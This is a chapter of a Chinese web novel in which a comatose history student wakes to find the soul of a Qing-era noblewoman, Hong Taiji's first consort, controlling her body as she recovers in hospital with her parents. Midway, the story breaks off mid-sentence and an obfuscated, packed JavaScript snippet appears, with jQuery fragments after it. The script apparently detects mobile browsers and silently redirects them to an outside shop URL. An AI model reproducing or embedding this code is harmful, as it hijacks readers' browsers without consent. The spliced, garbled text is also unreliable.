钱姮睁开眼，白炽灯的光线刺得她眯起了眼。


    “你醒了？”护士惊喜的声音传来，“这真是个奇迹！医生都说你可能醒不过来了。”


    她张了张嘴，却听到自己喉咙里发出另一个惊恐的声音：“此乃何处？汝等何人？”


    钱姮想抬手，却发现自己失去了对身体的控制。她像一个旁观者，被困在自己的躯壳里。


    “钱小姐？”护士疑惑地看着她，“你感觉怎么样？”


    “我——”那个声音又响起来，这次带着惊慌失措的颤抖。


    护士按住了她的肩膀，“冷静点，你出了严重车祸，昏迷了两个月。现在能醒来已经很幸运了。”


    钱姮努力想夺回控制权，却无济于事。她只能眼睁睁看着“自己”接过护士递来的镜子，颤抖着举到面前。


    镜中的脸让她愣住了——依旧是她自己的脸，二十九岁的历史系研究生钱姮，柳眉杏眼。但不知为何，这张脸上的神情格外陌生，带着一种不属于她的惊惶。


    “此女...何以与本格格如此相像？”那个声音喃喃道，语气中满是惊疑。


    钱姮浑身一颤。那声音自称“本格格”——她研究的清朝历史中，那些满族贵女常这样自称。


    “我去叫医生。”护士担忧地看了她一眼，匆匆离开病房。


    门一关上，钱姮就努力在脑海中发声：“谁在我身体里？”


    “本格格乃钮钴禄氏乌那希，四贝勒嫡福晋。”那声音又从她口中发出，带着稚嫩的颤抖，“汝是何妖物？此为何处？本格格方才还在新婚帐中，四贝勒刚掀开盖头...”


    钱姮如遭雷击。钮钴禄氏——皇太极的第一位嫡福晋，史载早逝，记载寥寥。她竟然在与皇太极新婚之夜穿越了？


    “不可能...”钱姮在脑海中回应，“我是在做梦吗？医生说我可能永远醒不过来的...”


    “本格格才是在做梦，”那声音带着哭腔，听起来像个受惊的孩子，“一刻前本格格尚在新婚帐中，四贝勒刚掀开盖头...然后天旋地转，便到此地。”


    钱姮努力集中精神。她记得自己开车去图书馆，一辆卡车闯红灯，刺耳的刹车声——然后就是一片黑暗。她似乎听见医生说她的伤势极重，能活下来已是万幸，醒来更是奇迹。然后她的意识就陷入了一片混沌，似乎在其中某个时刻，她仿佛置身于一间古色古香的婚房。眼前是摇曳的红烛，身上是沉甸甸的绣金嫁衣，她甚至能清晰地感觉到自己正紧张地绞着手中的喜帕。可这画面一闪即逝，她便再次沉入了无边的黑暗。


    再次醒来就是病房，可是在这具身体中醒来的不是她，而是另一个灵魂。


    “我们交换了，”钱姮恍然大悟，“车祸发生时，我的身体濒死，而你的灵魂不知为何进入了我的身体。”


    “何意？本格格为何在此躯壳中？”


    “这是我的身体，”钱姮一字一顿地在脑海中解释，“你，乌那希，钮钴禄氏，额亦都之女，皇太极的元妃，后来——”她突然住口，意识到乌那希不可能知道自己的命运。


    “后来如何？”乌那希追问，那语气让钱姮想起自己那个好奇又执拗的小表妹。


    钱姮没有回答，看着她控制自己的身体掀开被子下床，踉跄走到窗边。外面是高楼林立的车水马龙，霓虹闪烁。乌那希发出一声压抑的惊叫。


    “那些发光的高塔...那些无需马拉的车...此乃仙境还是阴间？”


    “是未来，”钱姮轻声说，“距你所在的时代，四百多年后。”


    体内那个意识沉默了，钱姮能感觉到一种巨大的、近乎凝固的恐惧。


    医生进来做了检查，用小手灯照射她的瞳孔，乌那希被强光刺得偏过头去。


    “钱小姐，能告诉我你的名字吗？”医生温和地问。


    乌那希张了张嘴，钱姮在脑海里紧急提醒：“说钱姮！你的名字！”


    “钱...姮。”她艰难地吐出这两个字，声音干涩。


    “很好。你知道现在在哪一年吗？”


    乌那希愣住了，她求助地在脑海中呼唤钱姮。钱姮立刻告诉她答案。


    “二零二...四年。”她依言回答，每个字都说得小心翼翼。


    医生在病历上记录着：“认知功能初步恢复，但反应稍显迟缓，这是昏迷一个多月的正常现象。我们需要再做几个检查。”


    护士推来了移动心电图机，当冰凉的电极贴上胸口时，乌那希猛地一颤，脱口而出一句满语。医生和护士都愣住了。


    “我...有点冷。”钱姮赶紧通过乌那希的嘴解释，同时在心里对乌那希说，“别怕，这是检查身体的仪器，就像...就像太医的悬丝诊脉。”她试图用对方能理解的方式解释。


    乌那希强迫自己放松下来，但手指仍不自觉地绞紧了床单。她好奇又恐惧地看着屏幕上跳跃的心电波形，听着超声机里传出的心跳声——那是钱姮心脏有力的搏动。


    “奇迹，真是奇迹。”医生看着检查结果感叹，“主要器官功能恢复得出奇地好。不过保险起见，我们建议再住院观察一周，进行康复训练。”


    就在这时，病房门被推开，一对中年夫妇急匆匆地进来。


    “姮姮！我的孩子，你终于醒了！”钱母扑到床边，紧紧握住乌那希的手。


    乌那希浑身僵硬，求助地在脑海中呼喊钱姮。


    “是我爸妈！”钱姮的声音带着激动和酸楚，“妈妈，爸爸...试着回应他们！”


    “妈...妈。”乌那希生涩地重复着这个陌生的称呼，身体仍因不习惯这样的亲密接触而紧绷。在她长大的环境里，即便是母女，也少有这般外露的情感。


    “孩子的手怎么这么凉？”钱母担忧地摩挲着她的手，“脸色也这么苍白。医生，我女儿真的没事了吗？”


    “钱太太请放心，令嫒恢复得很好。只是昏迷太久，需要时间适应。”


    钱父站在稍远处，眼眶发红，他轻轻摸了摸乌那希的头发：“醒了就好，醒了就好...爸爸给你炖了汤，你妈妈守了一夜，刚劝回去休息。”


    乌那希怔怔地看着他们。她感受到握着自己的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762676|181394||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那双手的温暖和颤抖，看到男人眼中的血丝，一种陌生的暖流涌上心头。这和她阿玛那种威严的关爱如此不同。


    “多...谢。”她低声说，努力模仿钱姮可能的态度。


    “傻孩子，跟爸爸妈妈说什么谢。”钱母抹着眼泪，“你昏迷这些天，我们...我们真怕你醒不过来了。”


    接下来的几天，乌那希在医院接受康复治疗。她第一次尝试下床时，双腿虚软无力，几乎栽倒，幸亏康复师和钱父及时扶住。


    “慢慢来，昏迷这么久，肌肉无力是正常的。”康复师鼓励道。


    钱父坚持每天扶着她练习走路，耐心十足。乌那希看着这个与自己“父亲”年龄相仿的男人，为了女儿如此尽心尽力，心中百感交集。在她的世界，父亲是家族的顶梁柱，是权威的象征，不会做这些“琐事”。


    钱母则负责她的饮食，每天变着花样煲汤煮粥。


    “妈...您也休息。”当钱母又一次弯腰为她整理被子时，乌那希忍不住说。这位母亲的疲惫让她于心不忍。


    钱母愣了一下，随即眼泪涌了上来：“我们姮姮长大了，知道心疼妈妈了。”


    乌那希不太明白为何一句寻常的话会让这位母亲如此激动，但她能感觉到其中深沉的情感。晚上，她通过钱姮的手机（在钱姮的指导下已学会基本操作）搜索“现代家庭关系”、“独生子女政策”，试图理解这个世界里父母与孩子之间这种毫无保留的、几乎倾尽所有的情感联结。


    一周后，经过全面检查，医生终于同意她出院。


    “记住，定期回来复查。虽然恢复得很好，但毕竟昏迷了一个多月，不能大意。”


    出院那天，钱母细心地为她换上带来的衣服——柔软的针织衫和长裤。乌那希仍然不习惯这种“紧束”的现代衣物，但在钱母帮她整理衣领时，她没有躲闪。


    “回家妈妈给你好好补补，都瘦了。”钱母心疼地说。


    钱父去办出院手续，乌那希在钱姮的提醒下学着收拾床头柜上的个人物品。她拿起钱姮的证件，看着照片上那个笑容自信、眼神明亮的女孩，有一瞬间的恍惚。这个女子，过着怎样的人生？


    一行人走到医院门口时，钱父已经叫好了出租车。乌那希按照钱姮的指导，生硬地拥抱了一下父母。


    “我...自己可以。”她小声说。


    “好好，回家好好休息，明天妈妈再去看你。”钱母红着眼睛说。


    乌那希钻进出租车，摇下车窗，对站在医院门口不住张望的夫妇挥了挥手。车子启动，她转过头，紧紧盯着窗外飞速后退的街景，高耸入云的建筑、川流不息的钢铁车辆、光怪陆离的霓虹招牌...这一切都让她感到陌生。


    “他们很爱你。”钱姮在脑海中轻声说，声音有些哽咽。


    乌那希沉默了很久，才在心底回应：“我知晓。你的父母...是很好的人。”她顿了顿，看着后视镜里仍站在原地的两个身影，补充了一句，声音很轻，“他们让我想起我额娘...和阿玛。只是，他们表达的方式...很不同。”